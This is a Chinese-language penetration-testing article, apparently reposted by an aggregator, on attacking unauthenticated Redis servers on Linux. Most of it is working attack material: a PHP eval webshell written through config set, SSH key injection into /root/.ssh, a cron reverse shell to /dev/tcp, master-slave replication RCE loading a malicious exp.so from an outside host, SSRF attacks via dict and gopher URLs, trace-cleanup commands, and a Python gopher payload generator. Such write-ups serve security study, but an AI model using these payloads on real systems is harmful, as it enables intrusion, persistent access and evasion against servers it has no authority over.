docker安装redis提示没有日记写入权限_浅析Linux下Redis的攻击面(一)
文章轉自先知社區:https://xz.aliyun.com/t/7974
0x0 前言
??Redis在內網滲透中常常扮演著重要的角色,其攻擊方式非常多樣化,在內網復雜的環境架構中容易出現各種問題,那么如何有效利用Redis的缺陷來達到我們的目的呢,這里筆者結合一些實操場景和大師傅們的文章做了一些分析和總結。
0x1 Redis的簡介
官方簡介:?Introduction to Redis
我的理解:
Redis是C語言開發一個開源(遵循BSD)協議高性能的(key-value)鍵值對的內存NoSQL數據庫,可以用作數據庫、緩存、信息中間件(性能非常優秀,支持持久化到硬盤且高可用),由于其自身特點,可以廣泛應用在數據集群,分布式隊列,信息中間件等網絡架構中,在內網滲透的突破中,常常扮演getshell的角色,
0x2 Redis環境的搭建
我們可以去官網看看:
https://redis.io/download
這里我們可以學習一下Redis的版本控制方式:
Redis uses a standard practice for its versioning:?major.minor.patchlevel. An even?minormarks a?stable?release, like 1.2, 2.0, 2.2, 2.4, 2.6, 2.8. Odd minors are used for?unstablereleases, for example 2.9.x releases are the unstable versions of what will be Redis 3.0 once stable.
可以看到1.2.3,這樣的格式,其中1是大版本,2是小改動,3是bug修復,其中 2中的數字,Odd(奇數)代表的是不穩定的發行版,而Even(偶數)代表是穩定的發行版。
目前Redis 穩定版已經更新redis6.0,在實際的實戰中,一般不會那么高,包括我自己用的,普遍都是4.x-5.x,有的甚至更低。
在官網中提供了多種安裝方式,有手工編譯的,也有docker的, 筆者由于是重度docker玩家,所以主選docker這種方式,其實原因主要還是卸載方便和基于Ubuntu環境比較貼近實戰環境(筆者是MacOS環境)。
但是為了方便分析版本差異,也通過編譯源碼的方式來運行一些版本。
redis全部版本源碼
這里為了研究差異,筆者分別安裝了3個版本的環境用來測試:
4.x版本的環境:?vulhub 4.0.1
1.git clone https://github.com/vulhub/vulhub.git2. cd ./vulhub/redis/4-unacc3.docker-compose up -d5.x版本的環境:
這里選取redis官方的鏡像版本
docker pull redis:5.0.9通過觀察官方鏡像的dockerfile文件
RUN groupadd -r -g 999 redis && useradd -r -g redis -u 999 redisRUN mkdir /data && chown redis:redis /data可以看到創建了一個專門用于程序運行的系統賬號。
運行:
docker run --name redis5 -p6379:6379 -d redis:5.0.9遠程ubunut環境安裝管理包的redis4.0.9(用來模擬常見的情況,一般linux及其都是以root權限運行很多程序的)
apt-get install redis-server然后以root用戶啟動的,只能用bind的ip,external ip是會被拒絕的。
0x3 常見的利用方式
redis 安全問題可以參考:
1.A few things about Redis security
2.Redis安全
這里我簡單說一下Redis容易遭受的攻擊點,而這些點本身就是軟件設計便捷理念。
redis為了系統的移植方便,多集群的快速部署,在3.2.0之前默認都是無密碼,對外暴露6379的
1.docker run --name redis -p6379:6379 -d redis:3.0 2.redis-cli x.x.x.123 3.config get requirepass# docker部署默認都是以redis權限執行的。可以看到默認對外開放且無密碼的。
但是在3.2.0之后增加了一個保護模式,默認還是無密碼,但是限制了只有本地(回環接口)才能訪問。
總的來說,問題還是出在了無密碼校驗經常被鉆空子,比如ssrf,用來權限提升等等,下面會說到。
然后Redis自身提供了一個config的命令,用來實現備份功能,然后備份的文件名和備份的路徑都可以通過
config set dbfilenameconfig set dir
來控制,從而可以實現任意文件寫功能。
0x3.1 信息泄露
這個比較雞肋,簡單提提
redis 有個info的命令,返回關于 Redis 服務器的各種信息和統計數值。
config get *也會泄露一些信息
0x3.2 寫webshell
這種情況一般大都是出在了root權限執行的redis中,或者是以某個web服務來啟動的redis,從而對web目錄具有了可寫的權限。
這個操作網上的payload其實很多都有風險性,一些不懂redis的小白就很容易誤操作。
flushallset 1 '<?php eval($_GET["cmd"]);?>'config set dir /var/www/htmlconfig set dbfilename shell.phpsave最終生成一個redis數據庫快照,里面包含了數據內容寫到dbfilename設置的路徑中。
里面有個flushall命令會清空所有緩存數據,這個在一定程度不會造成巨大的損失,但是會給業務體驗帶來影響。
redis 默認數據庫有16個:
config get databases127.0.0.1:6380[2]> config get databases
1) "databases"
2) "16"
127.0.0.1:6380[2]>
默認保存的是當前數據庫下內容,所以我們完全不用flushall來清空默認0號的數據庫內容
我們只需這樣子select 去切換其他的空數據庫,然后就可以了。
select 5set 1 '<?php eval($_POST["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
比如:
keys *(這個最好別用,輸出量很容易把環境崩掉)
可以考慮用dbsize
我們就可以選擇第5號數據庫來執行操作,根本不需要進行fluashall的高危操作。
這里可以看到save命令保存下來的文件,其實因為是數據庫備份為快照文件所以存在一定格式(臟數據),但是由于PHP解析的松散性,這些都不影響php的執行。
0x3.3 寫入SSH 免密登錄
這個場景主要應用在沒有web應用的服務器,redis一般都是與web分離的,故這種方式我個人覺得還是很棒的,在linux系統都存在/root目錄也不會被改動,筆者覺得這種方式還是可以接受的。
如centos:(這個沒有登錄過root,沒有沒有.ssh文件夾,問題不大)
如ubuntu:
可以看到可行性還是可圈可點的。
寫入過程:
ssh-keygen -t rsa# 然后指定目錄生成2個文件 私鑰:id_rsa 公鑰:id_rsa.pub
這里要注意下數據庫內容的決定是否要使用flushall
這里為了保證寫入的authorized_key能被解析,必須引入換行符(ubuntu親測,要不然是不會成功)
1.(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > temp.txt2.cat temp.txt | redis-cli -p 6380 -x set 1
然后按正常操作即可
1. config set dir /root/.ssh/2. config set dbfilename authorized_keys
3.save
嘗試連接下:
ssh root@139.X.X.X -i id_rsaPS (一些疑惑):
網上搜了一些文章說,因為默認的話是不允許開啟通過開啟密鑰來登錄。
默認在/etc/ssh/sshd_config中不開啟
`#PubkeyAuthentication yes
所以會導致沒辦法登錄,但是我在測試的過程中發現,默認直接寫入也可以直接登錄。
測試過幾臺機器都是生產環境上的云機器,都是這樣直接寫入就可以登錄。
0x3.4 寫入計劃任務反彈shell
這個點其實蠻雞肋,因為在debian、ubuntu等環境中由于這些環境對計劃任務的格式解析非常嚴格是沒辦法執行成功,但是這個比前面那個比較好,主要是在centos環境的環境下默認root是可以通過這個方法拿到反彈shell的,所以還是指的說說的。
1.ubuntu無法利用的原因
/etc/crontab,臟數據解析失敗
/var/spool/cron/crontabs/root,redis默認寫入644非600,提示失敗
Centos下的利用
實現命令:
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/X.X.X.X/7789 0>&1\n\n'config set dir /var/spool/cron/config set dbfilename rootsave查看定時任務執行狀態:
tail -f vim /var/log/cron這個我建議在嘗試嘗試完ssh之后,如果失敗了,再結合判斷是不是centos機器(實際概率比較大)
再嘗試這個。
0x3.5 寫入高冗余數據
當我們寫入的內容是屬于高冗余的數據時,redis默認會采用LZF壓縮的方式來寫入數據。
壓縮:Redis默認采用LZF算法對生成的RDB文件做壓縮處理,壓縮后的文件遠遠小于內存大小,默認開啟,可以通過參數config setrdbcompression{yes|no}動態修改。
這個時候我們就會出現一些奇怪的錯誤,
debug起來相當麻煩
解決思路:關閉壓縮功能。
config set rdbcompression no然后再保存即可。
0x3.6 低版本redis 無損寫文件
RedisWriteFile
這個能實現無損寫文件,如果權限夠高,也可以嘗試下,因為無損寫文件原理主從同步,從redis2.8開始,module模塊加載是從redis4.0開始的,所以在低版本的redis,或許會有一些作用,但是我遇到的環境比較少,感覺linux下作用真的不大,簡單提提。
0x4 主從復制RCE
0x4.1 主從復制的介紹
(1)簡單說明
這個攻擊方式是LC/BC的成員Pavel Toporkov在2019年7月7日結束的WCTF2019 Final分享出來的,可以說這個技術,為redis的攻擊撕開了一個全新的口子,打就是rce獲取的就是redis運行的權限,比之前那些需要高權限的方法來的更加普遍和使用。
(2)通俗原理
兩個點:
(1) 支持傳輸備份文件
(2)支持加載so鏈接庫,拓展命令
第一步,我們偽裝成redis數據庫,然后受害者將我們的數據庫設置為主節點。
第二步,我們設置備份文件名為so文件
第三步,設置傳輸方式為全量傳輸
第四步加載惡意so文件,實現任意命令執行
這里重點是實現全量傳輸:
全量傳輸是將數據庫備份文件整個傳輸過去,然后從節點清空內存數據庫,將備份文件加載到數據庫中。
具體的實現步驟:
那么怎么控制實現這些操作呢,其實很簡單,我們可以監控一下正常流程,截取出相應的命令再進行構造好了,這些操作其實還是蠻復雜的,要不然也不要等Pavel Toporkov來公布了吧。
不過這個調試協議雖然繁瑣但是還是可以做出來的。
跟一下wireshark走一遍流程就好了,站在巨人的肩膀也行。
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
0x4.2 利用流程
這里我比較推薦個比較好用的工具:
Dliv3師傅的比較適合實戰:?https://github.com/Dliv3/redis-rogue-server
python3 redis-rogue-server.py --rhost 127.0.0.1 --rport 6380 --lhost docker.for.mac.host.internal --lport 8088可以看到效果還是有的。
這個工具還有個用法是,是服務器模式,接收目標redis的鏈接。
(這種場景可以使用在,服務器通外網,但是外網不能訪問服務器時候,但是我們可以通過ssrf或者vpn之后鏈接redis來執行命令)
服務器端執行:
python3 redis-rogue-server.py --server-only本地手工執行命令設置備份:
1.config set dir ./2.config set dbfilename exp.so3.slaveof X.X.X.1954.slaveof X.X.X.195 21000 #上面看綁定的服務段端口是210005. module load ./exp.so6.slaveof no one7.system.exec 'whoami'清理痕跡8.config set dbfilename dump.rdb9.system.exec 'rm ./exp.so'10.module unload systemPS:(一些滲透需要注意的點)
經過測試,這個payload打的時候會重置所有數據庫內容,所以慎用,在測試過程中,倒是沒有遇到redis會崩潰的問題,可能是數據量比較少?
0x4.3 可利用的版本
經過測試主從復制的可利用版本是4.x-5.x
但是從6.0開始,就開始利用失敗了。
但是還是可以通過config命令來進行寫文件的
也能通過主從復制來無損加載文件
但是在module的時候加載卻失敗了。(猜測可能是exp.so的不被兼容,)
0x4.4 禁用config命令繞過
如果在redis.conf 配置了禁用config命令的時候。
rename-command CONFIG ""比如這個config命令就不可用了,可以采取這種方式繞過。
這個時候我們就沒辦法自定義文件后綴了,但是我們還是可以利用主從復制的
可以看到同步之后exp.so的內容被保存為了dump.rdb
后面把dump.rdb當做exp.so去正常加載即可。
0x5 SSRF對redis的利用
SSRF為Redis的供給面打開了一個口子,但是由于dict和gopher協議的有一些坑點,有時候利用起來會出現一些下面的問題。
簡單探測redis服務:
1.curl "dict://127.0.0.1:6381"2.回顯-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP+OK0x5.1 dict與gopher協議的區別
(1)dict協議
dict協議,字典服務器協議,?A Dictionary Server Protocol?。
dict是基于查詢響應的TCP協議。
使用格式:
dict://serverip:port/命令:參數這里dict有個比較好的特點就是會再末尾補上\r\n
不好的是,命令多條的話,需要一條條地去執行,因為不支持傳入換行,也不會對%0d%0解碼。
(2)gopher協議
互聯網上使用的分布型的文件搜集獲取網絡協議。
支持多行輸入。
使用格式:
gopher://serverip:port/_data
特點:
可以看到gopher的第一個字符被吞掉了,還有沒有發送quit
所以我們需要手動加一個字符如_
影響范圍:
0x5.2 無認證SSRF攻擊
dict協議的攻擊:
1.連接遠程主服務器curl dict://127.0.0.1:6381/slaveof:101.200.157.195:210002.設置保存文件名curl dict://127.0.0.1:6381/config:set:dbfilename:exp.so3.載入 exp.socurl dict://127.0.0.1:6381/module:load:./exp.so4.斷開主從curl dict://127.0.0.1:6381/slaveof:no:one5.恢復原始文件名curl dict://127.0.0.1:6381/config:set:dbfilename:dump.rdb6.執行命令curl dict://127.0.0.1:6381/system.exec:'whomai'7.刪除痕跡curl dict://127.0.0.1:6381/system.exec:rm './exp.so...'成功執行命令。
要是寫shell的話參照上面那樣做即可。
gopher協議的攻擊:
這里采取goherus.py,來實現快速利用吧。
1.git clone https://github.com/tarunkant/Gopherus.git2.gopherus --exploit redis
Gopherus沒有集成怎么主從復制的利用。簡單分析下他的原理
可以看到這個偽造的是resp協議來交互(這個不打算展開,后面源碼分析利用的時候會說明的)
其實這里我們也可以將gopher偽造成dict的協議(直接采用簡單協議格式)來一段一段地請求。
gopher://127.0.0.1:6379/_auth%20123123%0d%0aconfig%20set%20dir%20/tmp/%0d%0aquit只要在最后加上個quit即可,這樣子的好處是,有緩沖時間,一段段發送可以讓備份文件完整傳輸到從機上的時間。
0x5.3 帶認證的SSRF攻擊
有認證的話,其實問題也不大。
auth 123123
docker里面用tcpdump監聽協議包
tcpdump -i eth0 port 6379 -w redisPort.pcap然后導出到本機用wireshark分析
docker cp cbdaed8:/redisPort.pcap ./redisPort.pcap直接follow tcp stream
可以看到這個驗證過程其實也是可以偽造的。
提取這段出來然后url編碼就行了
import urllib.parsestr_ = "2a 32 0d 0a 24 34 0d 0a 61 75 74 68 0d 0a 24 36 0d 0a 31 32 33 31 32 33 0d 0a"str__ = str_.split(' ')okStr = ""for i in str__: okStr += "%" +iprint(okStr)然后測試下:
curl "gopher://127.0.0.1:6383/_%2a%32%0d%0a%24%34%0d%0a%61%75%74%68%0d%0a%24%36%0d%0a%31%32%33%31%32%33%%0d%0a"+OKRedis支持管道流水線,所以可以一次性拼接命令發送,不需要回復請求。
所以我們只需要在開頭拼接下這段驗證就行了。
0x5.4 通用利用腳本
這里我自己改了個比較簡單的python3的payload生成腳本。
#!/usr/bin/python3# -*-coding:utf-8-*-# author:xq17import urllib.parsedef tranToResp(x): xSplit = x.split(" ") cmd="" cmd+="*"+str(len(xSplit)) for i in xSplit: i = i.replace("${IFS}"," ") cmd+="\r\n"+"$"+str(len(i))+"\r\n"+ i cmd+="\r\n" return cmddef GeneratePayload(ip, port): cmd=[ "config set dir ./", "config set dbfilename exp.so", "slaveof {i} {p}".format(i=ip, p=port), "module load exp.so", "system.exec ls", "system.exec rm${IFS}exp.so", "quit", ] # "system.exec bash${IFS}-i${IFS}>&${IFS}/dev/tcp/192.168.8.103/4607${IFS}0>&1", payload = "" for p in cmd: payload += urllib.parse.quote(tranToResp(p)) return payloaddef main(): # target ip = "127.0.0.1" port = "6383" # server load exp.so serverIp = "101.x.x.x" serverPort = "21000" authPass = "123123" payload = GeneratePayload(serverIp, serverPort) exitPayload = (urllib.parse.quote(tranToResp("slaveof no one") + tranToResp("quit") )) if authPass: print("author attack:") pd = "gopher://{host}:{port}/_%2a%32%0d%0a%24%34%0d%0a%61%75%74%68%0d%0a%24{l}%0d%0a{p}%0d%0a" pd = pd.format(host=ip, port=port, l=str(len(authPass)), p=authPass) print(pd + payload) print("clean footprint:") print(pd + exitPayload) else: print("no author attack:") pd = "gopher://{host}:{port}/_" print(pd.format(host=ip, port=port)+payload) print("clean footprint:") print(pd.format(host=ip, port=port) + exitPayload)if __name__ == '__main__': main()
如果有認證的話,添加到authPass變量即可。
0x5.5 redis觸發反序列化
這種場景主要是redis里面存儲的內容,最終會被程序反序列化,從而導致觸發處反序列化漏洞。
我們平時做題目的時候一般序列化內容都被base64了,所以沒遇到什么坑。但是如果是原生的序列化數據就會有協議無法傳輸特殊字符的坑。
不過gopher是無敵的,雙重編碼就行了。
案例來源:?https://mp.weixin.qq.com/s/kfYF157ux_VAOymU5l5RFA
以后如果遇到有意思的題目,單獨列出來這個方面研究吧,gopher協議足夠秒殺了。
0x6 總結
??本文主要是歸納了一些tips偏應用方面,前前后后折騰了挺久的,感覺網上的知識點都比較零散,現在很多人都止步了對redis的漏洞挖掘,除非新爆出一些什么洞,否則,目前的文章體系還是能系統涵蓋已知的主要攻擊面。也歡迎各位師傅提出一些新的點,讓我加強學習。后面將從redis的源碼來分析一些現象的原因。
0x7 參考鏈接
通過 SSRF 操作 Redis 主從復制寫 Webshell
不基于 redis擴展的 redis bypass PHP disable_functions
15-redis-post-exploitation
Linux用戶和組管理
三分鐘教你理清Linux 用戶與用戶組關系~
Redis中SSRF的利用
一次“SSRF-->RCE”的艱難利用
Redis Rce 簡析)
redis未授權漏洞利用
不請自來 | Redis 未授權訪問漏洞深度利用
Redis主從復制getshell技巧
SSRF攻擊內網Redis
實驗推薦
SSRF漏洞進階實踐-攻擊內網Redis
https://www.hetianlab.com/expc.do?ec=ECID9f92-ff93-4a94-a821-f0b968ef4985
(通過gopher協議攻擊Redis,如果內網中的Redis存在未授權訪問漏洞,當Redis服務以root權限運行時,利用gopher協議攻擊內網中的Redis,通過寫入定時任務可以實現反彈shell。
《Web安全零基礎到精通》
如果你也是一名想進入Web安全行業,急需專業老師帶路的人;
急需提升實戰技能,想找一份心儀工作的0-3年Web安全新人;
在校大學生,想進入Web安全行業,急需參與實操項目的同學。
總結
以上是生活随笔為你收集整理的docker安装redis提示没有日记写入权限_浅析Linux下Redis的攻击面(一)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 打断点是什么意思_黄金走势分析?股票所说
- 下一篇: asp单元格合并后宽度没有合并_Elem